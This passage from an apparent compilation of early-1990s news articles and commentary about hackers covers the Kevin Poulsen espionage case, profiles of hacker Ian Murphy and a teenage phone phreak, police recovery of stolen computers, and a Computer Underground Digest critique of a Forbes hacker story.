- unauthorized persons, assistant U.S. attorney Robert Crowe confirmed.
-
- A 1988 search of Poulsen's Menlo Park storage locker uncovered a set of secret
- orders from a military exercise, plus evidence that Poulsen may have tried to
- log onto an Army data network and eavesdropped on a confidential investigation
- of former Philippine President Ferdinand Marcos. It is not clear whether the
- new charge stems from these or other acts.
-
- Poulsen did not hand secrets to a foreign power, a more serious crime, Crowe
- noted. But by using an espionage statute against a U.S. hacker for the first
- time, prosecutors raise the odds of a record jail sentence that could be used
- to deter other electronic break-ins.
-
- They could use a stronger deterrent. Using personal computers connected to
- telephone lines, cadres of so-called cyberpunks have made a sport of tapping
- into confidential databases and voicemail systems at government agencies and
- corporations. Though there is no reliable way to tally the damage, a 1989
- survey indicated that computer crimes may cost U.S. business $500 million a
- year, according to the Santa Cruz-based National Center for Computer Crime
- Data.
-
- Telephone companies, whose computers and switching systems have long been among
- hackers' most inviting targets, are among those most anxious to tighten
- security. Poulsen allegedly roamed at will through the networks of Pacific
- Bell, for example, changing records and even intercepting calls between Pac
- Bell security personnel who were on his trail.
-
- The San Francisco-based utility has been intimately involved in his
- prosecution; Poulsen was actually captured in part because one of the company's
- investigators staked out a suburban Los Angeles supermarket where the fugitive
- shopped.
-
- "Virtually everything we do these days is done in a computer --your credit
- cards, your phone bills," said Kurt von Brauch, a Pac Bell security officer who
- tracked Poulsen, in an interview last year. "He had the knowledge to go in
- there and alter them."
-
-
- BROAD LEGAL IMPACT
-
- Poulsen's case could have broad impact because of several controversial legal
- issues involved. Some civil libertarians, for example, question the Justice
- Department's use of the espionage statute, which carries a maximum 10-year
- penalty and is treated severely under federal sentencing guidelines. They
- doubt the law matches the actions of Poulsen, who seems to have been motivated
- more by curiosity than any desire to hurt national security.
-
- "Everything we know about this guy is that he was hacking around systems for
- his own purposes," said Mike Godwin, staff counsel for the Electronic Frontier
- Foundation, a public-interest group that has tracked Poulsen's prosecution. He
- termed the attempt to use the statute against Poulsen "brain-damaged."
-
- Poulsen, now in federal prison in Pleasanton, has already served 18 months in
- jail without being tried for a crime, much less convicted. Though federal
- rules are supposed to ensure a speedy trial, federal judges can grant extended
- time to allow pretrial preparation in cases of complex evidence or novel legal
- issues.
-
- Both are involved here. After he fled to Los Angeles to avoid prosecution,
- for example, Poulsen used a special scrambling scheme on one computer to make
- his data files unintelligible to others. It has taken months to decode that
- data, and the job isn't done yet, Crowe said. That PC was only found because
- authorities intercepted one of Poulsen's phone conversations from jail, other
- sources said.
-
-
- CHARGES LABELED ABSURD
-
- Poulsen declined requests for interviews. His attorney, Paul Meltzer, terms
- the espionage charge absurd. He is also mounting several unusual attacks on
- parts of the government's original indictment against Poulsen, filed in 1989.
-
- He complains, for example, that the entire defense team is being subjected to
- 15-year background checks to obtain security clearances before key documents
- can be examined.
-
- "The legal issues are fascinating," Meltzer said. "The court will be forced to
- make law."
-
- Poulsen's enthusiasm for exploring forbidden computer systems became known to
- authorities in 1983. The 17-year-old North Hollywood resident, then using the
- handle Dark Dante, allegedly teamed up with an older hacker to break into
- ARPAnet, a Pentagon-organized computer network that links researchers and
- defense contractors around the country. He was not charged with a crime because
- of his age.
-
- Despite those exploits, Poulsen was later hired by SRI International, a Menlo
- Park-based think tank and government contractor, and given an assistant
- programming job with a security clearance. Though SRI won't comment, one
- source said Poulsen's job involved testing whether a public data network, by
- means of scrambling devices, could be used to confidentially link classified
- government networks.
-
- But Poulsen apparently had other sidelines. Between 1985 and 1988, the Justice
- Department charges, Poulsen burglarized or used phony identification to sneak
- into several Bay Area phone company offices to steal equipment and confidential
- access codes that helped him monitor calls and change records in Pac Bell
- computers, prosecutors say.
-
-
- CACHE OF PHONE GEAR
-
- The alleged activities came to light because Poulsen did not pay a bill at the
- Menlo/Atherton Storage Facility. The owner snipped off a padlock on a storage
- locker and found an extraordinary cache of telephone paraphernalia. A 19-count
- indictment, which also named two of Poulsen's associates, included charges of
- theft of government property, possession of wire-tapping devices and phony
- identification.
-
- One of Poulsen's alleged accomplices, Robert Gilligan, last year pleaded guilty
- to one charge of illegally obtaining Pac Bell access codes. Under a plea
- bargain, Gilligan received three years of probation, a $25,000 fine, and agreed
- to help authorities in the Poulsen prosecution. Poulsen's former roommate,
- Mark Lottor, is still awaiting trial.
-
- A key issue in Poulsen's case concerns CPX Caber Dragon, a code name for a
- military exercise in Fort Bragg, North Carolina. In late 1987 or early 1988,
- the government charges, Poulsen illegally obtained classified orders for the
- exercise. But Meltzer insists that the orders had been declassified by the
- time they were seized, and were reclassified after the fact to prosecute
- Poulsen. Crowe said Meltzer has his facts wrong. "That's the same as saying
- we're framing Poulsen," Crowe said. "That's the worst sort of accusation I can
- imagine."
-
- Another dispute focuses on the charge of unauthorized access to government
- computers. FBI agents found an electronic copy of the banner that a computer
- user sees on first dialing up an Army network called MASNET, which includes a
- warning against unauthorized use of the computer system. Meltzer says Poulsen
- never got beyond this computer equivalent of a "No Trespassing" sign.
-
- Furthermore, Meltzer argues that the law is unconstitutional because it does
- not sufficiently define whether merely dialing up a computer qualifies as
- illegal "access."
-
- Meltzer also denies that Poulsen could eavesdrop on calls. The indictment
- accuses him of illegally owning a device called a direct access test unit,
- which it says is "primarily useful" for surreptitiously intercepting
- communications. But Meltzer cites an equipment manual showing that the system
- is specifically designed to garble conversations, though it allows phone
- company technicians to tell that a line is in use.
-
- Crowe said he will soon file written rebuttals to Meltzer's motions. In
- addition to the new indictment he is seeking, federal prosecutors in Los
- Angeles are believed to be investigating Poulsen's activities while a fugitive.
- Among other things, Poulsen reportedly taunted FBI agents on computer bulletin
- boards frequented by hackers.
-
-
- PHONE COMPANIES WORRIED
-
- Poulsen's prosecution is important to the government -- and phone companies --
- because of their mixed record so far in getting convictions in hacker cases.
-
- In one of the most embarrassing stumbles, a 19-year-old University of Missouri
- student named Craig Neidorf was indicted in February 1990 on felony charges for
- publishing a memorandum on the emergency 911 system of Bell South. The case
- collapsed when the phone company information -- which the government said was
- worth $79,940 -- was shown by the defense to be available from another Bell
- system for just $13.50.
-
- Author Bruce Sterling, whose "The Hacker Crackdown" surveys recent high-tech
- crime and punishment, thinks the phone company overstates the dangers from
- young hackers. On the other hand, a Toronto high school student electronically
- tampered with that city's emergency telephone dispatching system and was
- arrested, he noted.
-
- Because systems that affect public safety are involved, law enforcement
- officials are particularly anxious to win convictions and long jail sentences
- for the likes of Poulsen.
-
- "It's very bad when the government goes out on a case and loses," said one
- computer-security expert who asked not to be identified. "They are desperately
- trying to find something to hang him on."
-
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- Computer Hacker Charged With Stealing Military Secrets December 8, 1992
- ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
- Taken from the Associated Press
-
- SAN FRANCISCO -- A computer hacker has been charged with stealing Air Force
- secrets that allegedly included a list of planned targets in a hypothetical
- war.
-
- Former Silicon Valley computer whiz Kevin Poulsen, who was accused in the early
- 1980s as part of a major hacking case, was named in a 14-count indictment
- issued Monday.
-
- He and an alleged accomplice already face lesser charges of unlawful use of
- telephone access devices, illegal wiretapping and conspiracy.
-
- Poulsen, 27, of Los Angeles, faces 7-to-10 years in prison if convicted of the
- new charge of gathering defense information, double the sentence he faced
- previously.
-
- His lawyer, Paul Meltzer, says the information was not militarily sensitive and
- that it was reclassified by government officials just so they could prosecute
- Poulsen on a greater charge.
-
- A judge is scheduled to rule February 1 on Meltzer's motion to dismiss the
- charge.
-
- In the early 1980s, Poulsen and another hacker going by the monicker Dark Dante
- were accused of breaking into UCLA's computer network in one of the first
- prosecutions of computer hacking.
-
- He escaped prosecution because he was then a juvenile and went to work at Sun
- Microsystems in Mountain View.
-
- While working for Sun, Poulsen illegally obtained a computer tape containing a
- 1987 order concerning a military exercise code-named Caber Dragon 88, the
- government said in court papers. The order is classified secret and contains
- names of military targets, the government said.
-
- In 1989, Poulsen and two other men were charged with stealing telephone access
- codes from a Pacific Bell office, accessing Pacific Bell computers, obtaining
- unpublished phone numbers for the Soviet Consulate in San Francisco; dealing in
- stolen telephone access codes; and eavesdropping on two telephone company
- investigators.
-
- Poulsen remained at large until a television show elicited a tip that led to
- his capture in April 1991.
-
- He and Mark Lottor, 27, of Menlo Park, are scheduled to be tried in March. The
- third defendant, Robert Gilligan, has pleaded guilty and agreed to pay Pacific
- Bell $25,000. He is scheduled to testify against Lottor and Poulsen as part of
- a plea bargain.
-
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- CA Computer Whiz Is First Hacker Charged With Espionage December 10, 1992
- ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
- by John Enders (The Associated Press)
-
- SAN JOSE, California -- A 28-year-old computer whiz who reportedly once tested
- Department of Defense security procedures has become the first alleged computer
- hacker to be charged with espionage.
-
- The government says Kevin Lee Poulsen stole classified military secrets and
- should go to prison. But his lawyer calls him "an intellectually curious
- computer nerd."
-
- Poulsen, of Menlo Park, California, worked in the mid-1980s as a consultant
- testing Pentagon computer security. Because of prosecution delays, he was held
- without bail in a San Jose jail for 20 months before being charged this week.
-
- His attorney, Paul Meltzer, says that Poulsen did not knowingly possess
- classified information. The military information had been declassified by the
- time prosecutors say Poulsen obtained it, Meltzer said.
-
- "They are attempting to make him look like Julius Rosenberg," Meltzer said of
- the man executed in 1953 for passing nuclear-bomb secrets to the Soviet Union.
- "It's just ridiculous."
-
- Poulsen was arrested in 1988 on lesser but related hacking charges. He
- disappeared before he was indicted and was re-arrested in Los Angeles in April
- 1991. Under an amended indictment, he was charged with illegal possession of
- classified government secrets.
-
- Poulsen also is charged with 13 additional counts, including eavesdropping on
- private telephone conversations and stealing telephone company equipment.
-
- If convicted on all counts, he faces up to 85 years in prison and fines
- totaling $3.5 million, said Assistant U.S. Attorney Robert Crowe in San
- Francisco.
-
- On Monday (12/7), Poulsen pleaded innocent to all charges. He was handed over
- to U.S. Marshals in San Jose on Wednesday (12/9) and was being held at a
- federal center in Pleasanton near San Francisco.
-
- He hasn't been available for comment, but in an earlier letter from prison,
- Poulsen called the charges "ludicrous" and said the government is taking
- computer hacking too seriously.
-
- U.S. Attorney John A. Mendez said Wednesday (12/9) that Poulsen is not
- suspected of turning any classified or non-classified information over to a
- foreign power, but he said Poulsen's alleged activities are being taken very
- seriously.
-
- "He's unique. He's the first computer hacker charged with this type of
- violation -- unlawful gathering of defense information," Mendez said.
-
- Assistant U.S. Attorney Robert Crowe said the espionage charge was entered only
- after approval from the Justice Department's internal security section in
- Washington.
-
- The indictment alleges that Poulsen:
-
- - Tapped into the Pacific Bell Co.'s computer and collected unpublished
- telephone numbers and employee lists for the Soviet Consulate in San
- Francisco.
-
- - Stole expensive telephone switching and other equipment.
-
- - Retrieved records of phone company security personnel and checked records of
- their own calls to see if they were following him.
-
- - Eavesdropped on telephone calls and computer electronic mail between phone
- company investigators and some of his acquaintances.
-
- - Tapped into an unclassified military computer network known as Masnet.
-
- - Obtained a classified document on flight orders for a military exercise
- involving thousands of paratroopers at the Army's Fort Bragg in North
- Carolina.
-
- The offenses allegedly took place between 1986 and 1988.
-
- In 1985, the Palo Alto, California, think tank SRI International hired Poulsen
- to work on military contracts, including a sensitive experiment to test
- Pentagon computer security, according to published reports. SRI has declined
- to comment on the case.
- _______________________________________________________________________________
-
- Hacker For Hire October 19, 1992
- ~~~~~~~~~~~~~~~
- by Mark Goodman and Allison Lynn (People)(Page 151)
-
- "Real-life Sneaker Ian Murphy puts the byte on corporate spies."
-
- THERE'S NO PRIVACY THESE DAYS," says Ian Murphy. "Just imagine going into GM's
- or IBM's accounts and wiping them out. You can bring about economic collapse
- by dropping in a virus without them even knowing it." Scoff at your peril,
- Corporate America. Captain Zap -- as Murphy is known in the electronic
- underworld of computer hackers -- claims there's no computer system he can't
- crack, and hence no mechanical mischief he can't wreak on corporations or
- governments. And Murphy, 35, has the track record -- not to mention the
- criminal record -- to back up his boasts.
-
- Murphy's fame in his subterranean world is such that he worked as a consultant
- for Sneakers, the hit film about a gang of computer-driven spies (Robert
- Redford, Sidney Poitier, Dan Aykroyd) lured into doing some high-risk
- undercover work for what they believe is the National Security Agency.
-
- Murphy loved the way the movie turned out. "It's like a training film for
- hackers," he says, adding that he saw much of himself in the Aykroyd character,
- a pudgy, paranoid fantasist named Mother who, like Murphy, plows through
- people's trash for clues. In fact when Aykroyd walked onscreen covered with
- trash, Murphy recalls, "My friends turned to me and said, 'Wow, that's you!'"
- If that sounds like a nerd's fantasy, then check out Captain Zap's credentials.
- Among the first Americans to be convicted of a crime involving computer break-
- ins, he served only some easy community-service time in 1983 before heading
- down the semistraight, not necessarily narrow, path of a corporate spy.
-
- Today, Murphy, 35, is president of IAM Secure Data Systems, a security
- consultant group he formed in 1982. For a fee of $5,000 a day plus expenses,
- Murphy has dressed up as a phone-company employee and cracked a bank's security
- system, he has aided a murder investigation for a drug dealer's court defense,
- and he has conducted a terrorism study for a major airline. His specialty,
- though, is breaking into company security systems -- an expertise he applied
- illegally in his outlaw hacker days and now, legally, by helping companies
- guard against such potential break-ins. Much of his work lately, he says,
- involves countersurveillance -- that is, finding out if a corporation's
- competitors are searching its computer systems for useful information. "It's
- industrial spying," Murphy says, "and it's happening all over the place."
-
- Murphy came by his cloak-and-daggerish calling early. He grew up in Gladwyne,
- Pennsylvania, on Philadelphia's Main Line, the son of Daniel Murphy, a retired
- owner of a stevedoring business, and his wife, Mary Ann, an advertising
- executive. Ian recalls, "As a kid, I was bored. In science I did wonderfully.
- The rest of it sucked. And social skills weren't my thing."
-
- Neither was college. Ian had already begun playing around with computers at
- Archbishop Carroll High School; after graduation he joined the Navy. He got an
- early discharge in 1975 when the Navy didn't assign him to radio school as
- promised, and he returned home to start hacking with a few pals. In his
- heyday, he claims, he broke into White House and Pentagon computers. "In the
- Pentagon," he says, "we were playing in the missile department, finding out
- about the new little toys they were developing and trying to mess with their
- information. None of our break-ins had major consequences, but it woke them the
- hell up because they [had] all claimed it couldn't be done."
-
- Major consequences came later. Murphy and his buddies created dummy
- corporations with Triple-A credit ratings and ordered thousands of dollars'
- worth of computer equipment. Two years later the authorities knocked at
- Murphy's door. His mother listened politely to the charges, then earnestly
- replied, "You have the wrong person. He doesn't know anything about
- computers."
-
- Right. Murphy was arrested and convicted of receiving stolen property in 1982.
- But because there were no federal computer-crime laws at that time, he got off
- with a third-degree felony count. He was fined $1,000, ordered to provide
- 1,000 hours of community service (he worked in a homeless shelter) and placed
- on probation for 2 1/2 years. "I got off easy," he concedes.
-
- Too easy, by his own mother's standards. A past president of Republican Women
- of the Main Line, Mary Ann sought out her Congressman, Larry Coughlin, and put
- the question to him: "How would you like it if the next time you ran for
- office, some young person decided he was going to change all of your files?"
- Coughlin decided he wouldn't like it and raised the issue on the floor of
- Congress in 1983. The following year, Congress passed a national computer-
- crime law, making it illegal to use a computer in a manner not authorized by
- the owner.
-
- Meanwhile, Murphy, divorced in 1977 after a brief marriage, had married Carol
- Adrienne, a documentary film producer, in 1982. Marriage evidently helped set
- Murphy straight, and he formed his company -- now with a staff of 12 that
- includes a bomb expert and a hostage expert. Countersurveillance has been
- profitable (he's making more than $250,000 a year and is moving out of his
- parents' house), but it has left him little time to work on his social skills -
- - or for that matter his health. At 5 ft.6 in. and 180 lbs., wearing jeans,
- sneakers and a baseball cap, Murphy looks like a Hollywood notion of himself.
- He has suffered four heart attacks since 1986 but unregenerately smokes a pack
- of cigarettes a day and drinks Scotch long before the sun falls over the
- yardarm.
-
- He and Carol divorced in April 1991, after 10 years of marriage. "She got
- ethics and didn't like the work I did," he says. These days Murphy dates --
- but not until he thoroughly "checks" the women he goes out with. "I want to
- know who I'm dealing with because I could be dealing with plants," he explains.
- "The Secret Service plays games with hackers."
-
- Murphy does retain a code of honor. He will work for corporations, helping to
- keep down the corporate crime rate, he says, but he won't help gather evidence
- to prosecute fellow hackers. Indeed his rogue image makes it prudent for him
- to stay in the background. Says Reginald Branham, 23, president of Cyberlock
- Consulting, with whom Murphy recently developed a comprehensive antiviral
- system: "I prefer not to take Ian to meetings with CEOs. They're going to
- listen to him and say, 'This guy is going to tear us apart.'" And yet Captain
- Zap, for all his errant ways, maintains a certain peculiar charm. "I'm like
- the Darth Vader of the computer world," he insists. "In the end I turn out to
- be the good guy."
-
- (Photograph 1 = Ian Murphy)
- (Photograph 2 = River Phoenix, Robert Redford, Dan Aykroyd, and Sidney Poitier)
- (Photograph 3 = Mary Ann Murphy <Ian's mom>)
- _______________________________________________________________________________
-
- Yacking With A Hack August 1992
- ~~~~~~~~~~~~~~~~~~~
- by Barbara Herman (Teleconnect)(Page 60)
-
- "Phone phreaking for fun, profit & politics."
-
- Ed is an intelligent, articulate 18 year old. He's also a hacker, a self-
- professed "phreak" -- the term that's developed in a subculture of usually
- young, middle-class computer whizzes.
-
- I called him at his favorite phone booth.
-
- Although he explained how he hacks as well as what kinds of hacking he has been
- involved in, I was especially interested in why he hacks.
-
- First off, Ed wanted to make it clear he doesn't consider himself a
- "professional" who's in it only for the money. He kept emphasizing that
- "hacking is not only an action, it's a state of mind."
-
- Phreaks even have an acronym-based motto that hints at their overblown opinions
- of themselves. PHAC. It describes what they do: "phreaking," "hacking,"
- "anarchy" and "carding." In other words, they get into systems over the
- telecom network (phreaking), gain access (hacking), disrupt the systems
- (political anarchy) and use peoples' calling/credit cards for their personal
- use.
-
- Throughout our talk, Ed showed no remorse for hacking. Actually, he had
- contempt for those he hacked. Companies were "stupid" because their systems'
- were so easy to crack. They deserved it.
-
- As if they should have been thankful for his mercy, he asked me to imagine what
- would have happened if he really hacked one railway company's system (he merely
- left a warning note), changing schedules and causing trains to collide.
-
- He also had a lot of disgust for the "system," which apparently includes big
- business (he is especially venomous toward AT&T), government, the FBI, known as
- "the Gestapo" in phreak circles, and the secret service, whose "intelligence
- reflects what their real jobs should be, secret service station attendants."
-
- He doesn't really believe any one is losing money on remote access toll fraud.
-
- He figures the carriers are angry not about money lost but rather hypothetical
- money, the money they could have charged for the free calls the hackers made,
- which he thinks are overpriced to begin with.
-
- He's also convinced (wrongly) that companies usually don't foot the bill for
- the free calls hackers rack up on their phone systems. "And, besides, if some
- multi-million dollar corporation has to pay, I'm certainly not going to cry for
- them."
-
- I know. A twisted kid. Weird. But besides his skewed ethics, there's also a
- bunch of contradictions.
-
- He has scorn for companies who can't keep him out, even though he piously warns
- them to try.
-
- He dismisses my suggestion that the "little guy" is in fact paying the bills
- instead of the carrier. And yet he says AT&T is overcharging them for the
- "vital" right to communicate with each other.
-
- He also contradicted his stance of being for the underdog by calling the
- railway company "stupid" for not being more careful with their information.
-
- Maybe a railway company is not necessarily the "little guy," but it hardly
- seems deserving of the insults Ed hurled at it. When I mentioned that a
- hospital in New York was taken for $100,000 by hackers, he defended the hackers
- by irrelevantly making the claim that doctors easily make $100,000 a year.
- Since when did doctors pay hospital phone bills?
-
- What Ed is good at is rationalizing. He lessens his crimes by raising them to
- the status of political statements, and yet in the same breath, for example, he
- talks about getting insider info on the stock market and investing once he
- knows how the stock is doing. He knows it's morally wrong, he told me, but
- urged me to examine this society that "believes in making a buck any way you
- can. It's not a moral society."
-
- Amazingly enough, the hacker society to which Ed belongs, if I can
- unstatistically use him as a representative of the whole community, is just as
- tangled in the contradictions of capitalism as the "system" they supposedly
- loathe. In fact, they are perhaps more deluded and hypocritical because they
- take a political stance rather than recognizing their crimes for what they are.
- How can Ed or anyone else in the "phreaking" community take seriously their
- claims of being against big business and evil capitalism when they steal
- people's credit-card and calling-card numbers and use them for their own
- profit?
-
- The conversation winded down after Ed rhapsodized about the plight of the
- martyred hacker who is left unfairly stigmatized after he is caught, or "taken
- down."
-
- One time the Feds caught his friend hacking ID codes, had several phone
- companies and police search his house, and had his computer taken away. Even
- though charges were not filed, Ed complained, "It's not fair."
-
- That's right, phreak. They should have thrown him in prison.
- _______________________________________________________________________________
-
- Computer Hacker On Side Of Law September 23, 1992
- ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
- by Shelby Grad (Los Angeles Times)(Page B3)
-
- COSTA MESA, CA -- Philip Bettencourt's formal title is photo lab supervisor for
- the Costa Mesa Police Department. But on Tuesday afternoon, he served as the
- department's official computer hacker.
-
- Bettencourt, pounding the keyboard excitedly as other officers looked on, was
- determined to find information within a stolen computer's vast memory that
- would link the machine to its owner.
-
- So far, he had made matches for all but two of the 26 computers recovered
- earlier this month by police as part of a countywide investigation of stolen
- office equipment. This would be number 25.
-
- First, he checked the hard drive's directory, searching for a word-processing
- program that might include a form letter or fax cover sheet containing the
- owner's name, address or phone number.
-
- When that failed, he tapped into an accounting program, checking for clues on
- the accounts payable menu.
-
- "Bingo!" Bettencourt yelled a few minutes into his work. He found an invoice
- account number to a Fountain Valley cement company that might reveal the
- owner's identity. Seconds later, he came across the owner's bank credit-card
- number.
-
- And less than a minute after that, Bettencourt hit pay dirt: The name of a
- Santa Ana building company that, when contacted, revealed that it had indeed
- been the victim of a recent computer burglary.
-
- "This is great," said Bettencourt, who has been interested in computers for
- nearly two decades now, ever since Radio Shack put its first model on the
- market. "I love doing this. This is hacking, but it's in a good sense, not
- trying to hurt someone. This is helping people."
-
- Few computer owners who were reunited with their equipment would contest that.
- When Costa Mesa police recovered $250,000 worth of computers, fax machines,
- telephones and other office gadgets, detectives were faced with the difficult
- task of matching machines bearing few helpful identifying marks to their
- owners, said investigator Bob Fate.
-
- Enter Bettencourt, who tapped into the computers' hard drives, attempting to
- find the documents that would reveal from whom the machines were taken.
-
- As of Tuesday, all but $50,000 worth of equipment was back in owners' hands.
- Investigators suggested that people who recently lost office equipment call the
- station to determine if some of the recovered gadgetry belongs to them.
-
- Ironically, the alleged burglars tripped themselves up by not erasing the data
- from the computers before reselling the machines, authorities said. A college
- student who purchased one of the stolen computers found data from the previous
- owner, whom he contacted. Police were then called in, and a second "buy" was
- scheduled in which several suspects were arrested, Fate said.
-
- Three people were arrested September 15 and charged with receiving and
- possessing stolen property. Police are still searching for the burglars.
-
- The office equipment was recovered from an apartment and storage facility in
- Santa Ana.
-
- Bettencourt matched the final stolen computer to its owner before sundown
- Tuesday.
- _______________________________________________________________________________
-
- CuD's 1992 MEDIA HYPE Award To FORBES MAGAZINE
- ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
- by Jim Thomas (Computer Underground Digest)
-
- In recent years, media depiction of "hackers" has been criticized for
- inaccurate and slanted reporting that exaggerates the public dangers of the
- dread "hacker menace." As a result, CuD annually recognizes the year's most
- egregious example of media hype.
-
- The 1992 annual CuD GERALDO RIVERA MEDIA HYPE award goes to WILLIAM G. FLANAGAN
- AND BRIGID McMENAMIN for their article "The Playground Bullies are Learning how
- to Type" in the 21 December issue of Forbes (pp 184-189). The authors improved
- upon last year's winner, Geraldo himself, in inflammatory rhetoric and
- distorted narrative that seems more appropriate for a segment of "Inside
- Edition" during sweeps week than for a mainstream conservative periodical.
-
- The Forbes piece is the hands-down winner for two reasons. First, one reporter
- of the story, Brigid McMenamin, was exceptionally successful in creating for
- herself an image as clueless and obnoxious. Second, the story itself was based
- on faulty logic, rumors, and some impressive leaps of induction. Consider the
- following.
-
-
- The Reporter: Brigid McMenamin
-
- It's not only the story's gross errors, hyperbole, and irresponsible distortion
- that deserve commendation/condemnation, but the way that Forbes reporter Brigid
- McMenamin tried to sell herself to solicit information.
-
- One individual contacted by Brigid McM claimed she called him several times
- "bugging" him for information, asking for names, and complaining because
- "hackers" never called her back. He reports that she explicitly stated that
- her interest was limited to the "illegal stuff" and the "crime aspect" and was
- oblivious to facts or issues that did not bear upon hackers-as-criminals.
-
- Some persons present at the November 2600 meeting at Citicorp, which she
- attended, suggested the possibility that she used another reporter as a
- credibility prop, followed some of the participants to dinner after the
- meeting, and was interested in talking only about illegal activities. One
- observer indicated that those who were willing to talk to her might not be the
- most credible informants. Perhaps this is one reason for her curious language
- in describing the 2600 meeting.
-
- Another person she contacted indicated that she called him wanting names of
- people to talk to and indicated that because Forbes is a business magazine, it
- only publishes the "truth." Yet, she seemed not so much interested in "truth,"
- but in finding "evidence" to fit a story. He reports that he attempted to
- explain that hackers generally are interested in Unix and she asked if she
- could make free phone calls if she knew Unix. Although the reporter stated to
- me several times that she had done her homework, my own conversation with her
- contradicted her claims, and if the reports of others are accurate, here claims
- of preparation seem disturbingly exaggerated.
-
- I also had a rather unpleasant exchange with Ms. McM. She was rude, abrasive,
- and was interested in obtaining the names of "hackers" who worked for or as
- "criminals." Her "angle" was clearly the hacker-as-demon. Her questions
- suggested that she did not understand the culture about which she was writing.
- She would ask questions and then argue about the answer, and was resistant to
- any "facts" or responses that failed to focus on "the hacker criminal." She
- dropped Emmanuel Goldstein's name in a way that I interpreted as indicating a
- closer relationship than she had--an incidental sentence, but one not without
- import -- which I later discovered was either an inadvertently misleading
- choice of words or a deliberate attempt to deceptively establish credentials.
- She claimed she was an avowed civil libertarian. I asked why, then, she didn't
- incorporate some of those issues. She invoked publisher pressure. Forbes is a
- business magazine, she said, and the story should be of interest to readers.
- She indicated that civil liberties weren't related to "business." She struck
- me as exceptionally ill-informed and not particularly good at soliciting
- information. She also left a post on Mindvox inviting "hackers" who had been
- contacted by "criminals" for services to contact her.
-
- >Post: 150 of 161
- >Subject: Hacking for Profit?
- >From: forbes (Forbes Reporter)
- >Date: Tue, 17 Nov 92 13:17:34 EST
- >
- >Hacking for Profit? Has anyone ever offered to pay you (or
- >a friend) to get into a certain system and alter, destroy or
- >retrieve information? Can you earn money hacking credit
- >card numbers, access codes or other information? Do you know
- >where to sell it? Then I'd like to hear from you. I'm
- >doing research for a magazine article. We don't need you
- >name. But I do want to hear your story. Please contact me
- >Forbes@mindvox.phantom.com.
-
- However, apparently she wasn't over-zealous about following up her post or
- reading the Mindvox conferences. When I finally agreed to send her some
- information about CuD, she insisted it be faxed rather than sent to Mindvox
- because she was rarely on it. Logs indicate that she made only six calls to
- the board, none of which occurred after November 24.
-
- My own experience with the Forbes reporter was consistent with those of others.
- She emphasized "truth" and "fact-checkers," but the story seems short on both.
- She emphasized explicitly that her story would *not* be sensationalistic. She
- implied that she wanted to focus on criminals and that the story would have the
- effect of presenting the distinction between "hackers" and real criminals.
- Another of her contacts also appeared to have the same impression. After our
- less-than-cordial discussion, she reported it to the contact, and he attempted
- to intercede on her behalf in the belief that her intent was to dispel many of
- the media inaccuracies about "hacking." If his interpretation is correct, then
- she deceived him as well, because her portrayal of him in the story was
- unfavorably misleading.
-
- In CuD 4.45 (File #3), we ran Mike Godwin's article on "How to Talk to the
- Press," which should be required reading. His guidelines included:
-
- 1) TRY TO THINK LIKE THE REPORTER YOU'RE TALKING TO.
- 2) IF YOU'RE GOING TO MEET THE REPORTER IN PERSON, TRY TO
- BRING SOMETHING ON PAPER.
- 3) GIVE THE REPORTER OTHER PEOPLE TO TALK TO, IF POSSIBLE.
- 4) DON'T ASSUME THAT THE REPORTER WILL COVER THE STORY THE WAY
- YOU'D LIKE HER TO.
-
- Other experienced observers contend that discussing "hacking" with the press
- should be avoided unless one knows the reporter well or if the reporter has
- established sufficient credentials as accurate and non-sensationalist. Using
- these criteria, it will probably be a long while before any competent
- cybernaught again speaks to Brigid McMenamin.
-
-
- The Story
-
- Rather than present a coherent and factual story about the types of computer
- crime, the authors instead make "hackers" the focal point and use a narrative
- strategy that conflates all computer crime with "hackers."
-
- The story implies that Len Rose is part of the "hacker hood" crowd. The lead
- reports Rose's prison experience and relates his feeling that he was "made an
- example of" by federal prosecutors. But, asks the narrative, if this is so,
- then why is the government cracking down? Whatever else one might think of Len
- Rose, no one ever has implied that he as a "playground bully" or "hacker hood."
- The story also states that 2600 Magazine editor Emmanuel Goldstein "hands
- copies <of 2600> out free of charge to kids. Then they get arrested." (p. 188-
- -a quote attributed to Don Delaney), and distorts (or fabricates) facts to fit
- the slant:
-
- According to one knowledgeable source, another hacker brags
- that he recently found a way to get into Citibank's
- computers. For three months he says he quietly skimmed off a
- penny or so from each account. Once he had $200,000, he quit.
- Citibank says it has no evidence of this incident and we
- cannot confirm the hacker's story. But, says computer crime
- expert Donn Parker of consultants SRI International: "Such a
- 'salami attack' is definitely possible, especially for an
- insider" (p. 186).
-
- Has anybody calculated how many accounts one would have to "skim" a few pennies
- from before obtaining $200,000? At a dime apiece, that's over 2 million. If
- I'm figuring correctly, at one minute per account, 60 accounts per minute non-
- stop for 24 hours a day all year, it would take nearly 4 straight years of on-
- line computer work for an out-sider. According to the story, it took only 3
- months. At 20 cents an account, that's over a million accounts.
-
- Although no names or evidence are given, the story quotes Donn Parker of SRI as
- saying that the story is a "definite possibility." Over the years, there have
- been cases of skimming, but as I remember the various incidents, all have been
- inside jobs and few, if any, involved hackers. The story is suspiciously
- reminiscent of the infamous "bank cracking" article published in Phrack as a
- spoof several years ago.
-
- The basis for the claim that "hacker hoods" (former "playground bullies") are
- now dangerous is based on a series of second and third-hand rumors and myths.
- The authors then list from "generally reliable press reports" a half-dozen or
- so non-hacker fraud cases that, in context, would seem to the casual reader to
- be part of the "hacker menace." I counted in the article at least 24 instances
- of half-truths, inaccuracies, distortions, questionable/spurious links, or
- misleading claims that are reminiscent of 80s media hype. For example, the
- article attributes to Phiber Optik counts in the MOD indictment that do not
- include him, misleads on the Len Rose indictment and guilty plea, uses second
- and third hand information as "fact" without checking the reliability, and
- presents facts out of context (such as attributing the Morris Internet worm to
- "hackers).
-
- Featured as a key "hacker hood" is "Kimble," a German hacker said by some to be
- sufficiently media-hungry and self-serving that he is ostracized by other
- German hackers. His major crime reported in the story is hacking into PBXes.
- While clearly wrong, his "crime" hardly qualifies him for the "hacker
- hood/organized crime" danger that's the focus of the story. Perhaps he is
